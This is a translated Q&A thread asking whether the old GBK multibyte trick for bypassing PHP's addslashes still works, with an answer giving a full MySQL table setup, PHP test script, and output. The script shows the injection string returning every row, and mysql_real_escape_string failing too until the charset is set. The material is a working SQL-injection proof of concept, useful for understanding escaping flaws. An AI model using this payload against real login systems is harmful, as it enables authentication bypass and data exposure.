我知道“参数化查询”是圣杯。 这不是主题。
有一篇旧文章,似乎是使用addslashes时与sql注入相关的所有讨论的参考。
这是链接:http : //shiflett.org/blog/2006/jan/addslashes-versus-mysql-real- escape-string
我的问题是:这个概念证明是否仍然正确?我尝试对其进行测试,但是addlashes似乎可以正常工作。有人真的尝试过这个吗,还是所有人都认为这是理所当然的?
mysql日志显示此查询
SELECT * FROM users WHERE username = ‘�' OR username = username /*’ AND password = ‘guess’
很明显,这个技巧是行不通的
更新 :请阅读我要问的问题。我不在乎最佳实践,我不需要替代方案,我只需要确保它仍然有效即可。
更新 :我也想提醒一下,此POC适用于GBK,SJIS或BIG5等字符集,每个人似乎都忘记了这一点。说斜线不安全时,使标题听起来有些吓人。
解决方案 :就我而言,MySQL 5.5.9-log版本不允许未以/ *形式出现的内联注释。如果我使用-或#,则可以使用。
看来对我有用。
MySQL的:
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> CREATE TABLE users ( -> username VARCHAR(32) CHARACTER SET GBK, -> password VARCHAR(32) CHARACTER SET GBK, -> PRIMARY KEY (username) -> ); Query OK, 0 rows affected (0.08 sec) mysql> insert into users SET username='ewrfg', password='wer44'; Query OK, 1 row affected (0.02 sec) mysql> insert into users SET username='ewrfg2', password='wer443'; Query OK, 1 row affected (0.03 sec) mysql> insert into users SET username='ewrfg4', password='wer4434'; Query OK, 1 row affected (0.00 sec)
PHP:
<pre><?php echo "PHP version: ".PHP_VERSION."\n"; mysql_connect(); mysql_select_db("test"); mysql_query("SET NAMES GBK"); $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*'; $_POST['password'] = 'guess'; $username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); mysql_set_charset("GBK"); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump($username); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding());
结果:
PHP version: 5.3.3 string(29) "ї\' OR username = username /*" int(3) string(6) "latin1" string(29) "ї\' OR username = username /*" int(3) string(6) "latin1" string(30) "\ї\' OR username = username /*" int(0) string(3) "gbk"
结论:
对于那些高喊“您应该使用mres而不是加号!”的人来说,第二个结果将是最令人惊讶的。